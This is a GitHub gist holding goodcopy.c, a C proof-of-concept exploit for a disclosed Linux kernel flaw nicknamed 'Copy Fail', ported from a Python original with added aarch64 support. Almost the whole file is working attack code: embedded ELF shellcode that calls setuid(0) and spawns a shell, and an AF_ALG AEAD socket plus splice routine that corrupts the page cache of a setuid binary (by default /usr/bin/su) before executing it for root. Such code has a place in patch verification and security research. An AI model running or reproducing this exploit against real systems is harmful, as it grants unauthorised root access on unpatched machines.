Last active
May 5, 2026 18:13
-
-
Save blasty/d7b5d0599b154c9ec83c182acbd56e8b to your computer and use it in GitHub Desktop.
goodcopy.c
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // | |
| // | |
| // goodcopy.c | |
| // --------------------------------------------------------------------------- | |
| // lunchbreak reimpl of some horrid python golf | |
| // by those fine folks from theori/xint. (good shit, ngl) | |
| // | |
| // to celebrate the release of Copy Fail and the professional | |
| // way the embargo and disclosure was handled by all involved | |
| // parties i have taken 45 minutes out of my oh so busy | |
| // schedule to port the PoC to C and add support for aarch64 | |
| // as well as something that cleans up the poisoned cached | |
| // executable so other scriptkiddies will still need to | |
| // manually invoke the exploit rather than jumping straight | |
| // to /bin/su | |
| // | |
| // oh yea you can also specify a different suid elf to target | |
| // | |
| // complaints and feedback can be forwarded to security@kernel.org | |
| // | |
| // cheers, | |
| // -- blasty <peter@haxx.in> | |
| // | |
| #define _GNU_SOURCE | |
| #include <stdio.h> | |
| #include <string.h> | |
| #include <stdlib.h> | |
| #include <unistd.h> | |
| #include <sys/socket.h> | |
| #include <fcntl.h> | |
| #include <stdint.h> | |
| #include <linux/if_alg.h> | |
| #ifndef SOL_ALG | |
| #define SOL_ALG 279 | |
| #endif | |
| #define ALG_SET_KEY 1 | |
| #define ALG_SET_IV 2 | |
| #define ALG_SET_OP 3 | |
| #define ALG_SET_AEAD_ASSOCLEN 4 | |
| #define ALG_SET_AEAD_AUTHSIZE 5 | |
| #define CMSG_ADD(mh, cm, tp, len, ...) do { \ | |
| cm = cm ? CMSG_NXTHDR(mh, cm) : CMSG_FIRSTHDR(mh); \ | |
| cm->cmsg_level = SOL_ALG; \ | |
| cm->cmsg_type = (tp); \ | |
| cm->cmsg_len = CMSG_LEN(len); \ | |
| uint8_t _d[] = { __VA_ARGS__ }; \ | |
| memcpy(CMSG_DATA(cm), _d, sizeof(_d)); \ | |
| } while (0) | |
| #define TARGET_DEFAULT "/usr/bin/su" | |
| // | |
| // setuid(0); execve("/bin/sh", [ | |
| // "/bin/sh", "-c", "echo 3 >/proc/sys/vm/drop_caches; exec sh -i"], NULL) | |
| // | |
| #if defined(__aarch64__) | |
| uint8_t sc_bin[] = { | |
| 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0xb7, 0x00, 0x01, 0x00, 0x00, 0x00, | |
| 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0xef, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xef, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x80, 0xd2, 0x48, 0x12, 0x80, 0xd2, 0x01, 0x00, 0x00, 0xd4, | |
| 0xa0, 0x01, 0x00, 0x10, 0xc1, 0x01, 0x00, 0x10, 0xa2, 0x01, 0x00, 0x70, | |
| 0x03, 0x00, 0x80, 0xd2, 0xe2, 0x0f, 0xbf, 0xa9, 0xe0, 0x07, 0xbf, 0xa9, | |
| 0xe1, 0x03, 0x00, 0x91, 0x02, 0x00, 0x80, 0xd2, 0xa8, 0x1b, 0x80, 0xd2, | |
| 0x01, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x80, 0xd2, 0xa8, 0x0b, 0x80, 0xd2, | |
| 0x01, 0x00, 0x00, 0xd4, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, | |
| 0x2d, 0x63, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x33, 0x20, 0x3e, 0x2f, | |
| 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f, | |
| 0x64, 0x72, 0x6f, 0x70, 0x5f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x73, 0x3b, | |
| 0x65, 0x78, 0x65, 0x63, 0x20, 0x73, 0x68, 0x20, 0x2d, 0x69, 0x00, 0x00 | |
| }; | |
| unsigned int sc_bin_len = 240; | |
| #elif defined(__x86_64__) | |
| uint8_t sc_bin[] = { | |
| 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, | |
| 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe1, 0x00, 0x00, 0x00, | |
| 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 0x31, 0xc0, 0x31, 0xff, 0xb0, 0x69, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x23, | |
| 0x00, 0x00, 0x00, 0x48, 0x8d, 0x1d, 0x24, 0x00, 0x00, 0x00, 0x48, 0x8d, | |
| 0x0d, 0x20, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x50, 0x51, 0x53, 0x57, 0x48, | |
| 0x89, 0xe6, 0x31, 0xd2, 0xb0, 0x3b, 0x0f, 0x05, 0x31, 0xff, 0xb0, 0x3c, | |
| 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x2d, 0x63, | |
| 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x33, 0x20, 0x3e, 0x2f, 0x70, 0x72, | |
| 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f, 0x64, 0x72, | |
| 0x6f, 0x70, 0x5f, 0x63, 0x61, 0x63, 0x68, 0x65, 0x73, 0x3b, 0x65, 0x78, | |
| 0x65, 0x63, 0x20, 0x73, 0x68, 0x20, 0x2d, 0x69, 0x00, 0x00, 0x00, 0x00 | |
| }; | |
| unsigned int sc_bin_len = 228; | |
| #else | |
| #error "this shit cant pop your box, bring your own elf" | |
| #endif | |
| void hax(int f, int t, uint8_t *chunk) { | |
| int a, u, pipefd[2]; | |
| struct sockaddr_alg sa; | |
| a = socket(AF_ALG, SOCK_SEQPACKET, 0); | |
| if (a < 0) { perror("socket"); return; } | |
| memset(&sa, 0, sizeof(sa)); | |
| sa.salg_family = AF_ALG; | |
| strcpy((char *)sa.salg_type, "aead"); | |
| strcpy((char *)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))"); | |
| if (bind(a, (struct sockaddr *)&sa, sizeof(sa)) < 0) { | |
| perror("bind"); close(a); return; | |
| } | |
| uint8_t key[40]; | |
| memset(key, 0, sizeof(key)); | |
| key[0] = 0x08; | |
| key[2] = 0x01; | |
| key[7] = 0x10; | |
| setsockopt(a, SOL_ALG, ALG_SET_KEY, key, sizeof(key)); | |
| setsockopt(a, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4); | |
| u = accept(a, NULL, NULL); | |
| close(a); | |
| if (u < 0) { | |
| perror("accept"); | |
| return; | |
| } | |
| int o = t + 4; | |
| uint8_t data[8]; | |
| memset(data, 'A', 4); | |
| memcpy(data + 4, chunk, 4); | |
| struct iovec iov = { .iov_base = data, .iov_len = 8 }; | |
| char cbuf[CMSG_SPACE(4) + CMSG_SPACE(20) + CMSG_SPACE(4)]; | |
| memset(cbuf, 0, sizeof(cbuf)); | |
| struct msghdr mh = { | |
| .msg_iov = &iov, | |
| .msg_iovlen = 1, | |
| .msg_control = cbuf, | |
| .msg_controllen = sizeof(cbuf), | |
| }; | |
| struct cmsghdr *cmsg = NULL; | |
| CMSG_ADD(&mh, cmsg, ALG_SET_OP, 4, 0, 0, 0, 0); | |
| CMSG_ADD(&mh, cmsg, ALG_SET_IV, 20, 0x10); | |
| CMSG_ADD(&mh, cmsg, ALG_SET_AEAD_ASSOCLEN, 4, 0x08); | |
| sendmsg(u, &mh, MSG_MORE); | |
| pipe(pipefd); | |
| loff_t off_src = 0; | |
| splice(f, &off_src, pipefd[1], NULL, o, 0); | |
| splice(pipefd[0], NULL, u, NULL, o, 0); | |
| close(pipefd[0]); | |
| close(pipefd[1]); | |
| uint8_t buf[8192]; | |
| recv(u, buf, 8 + t, 0); | |
| close(u); | |
| } | |
| int main(int argc, char *argv[]) { | |
| const char *exe = (argc > 1) ? argv[1] : TARGET_DEFAULT; | |
| printf("[i] target: %s\n", exe); | |
| int f = open(exe, O_RDONLY); | |
| if (f < 0) { | |
| perror("open"); | |
| return 1; | |
| } | |
| printf("[&] corrupting page cache (%u bytes)...\n", sc_bin_len); | |
| unsigned int i; | |
| for (i = 0; i < sc_bin_len; i += 4) { | |
| hax(f, i, &sc_bin[i]); | |
| } | |
| close(f); | |
| printf("[#] bl1ng bl1ng?!\n"); | |
| system(exe); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
RISCV64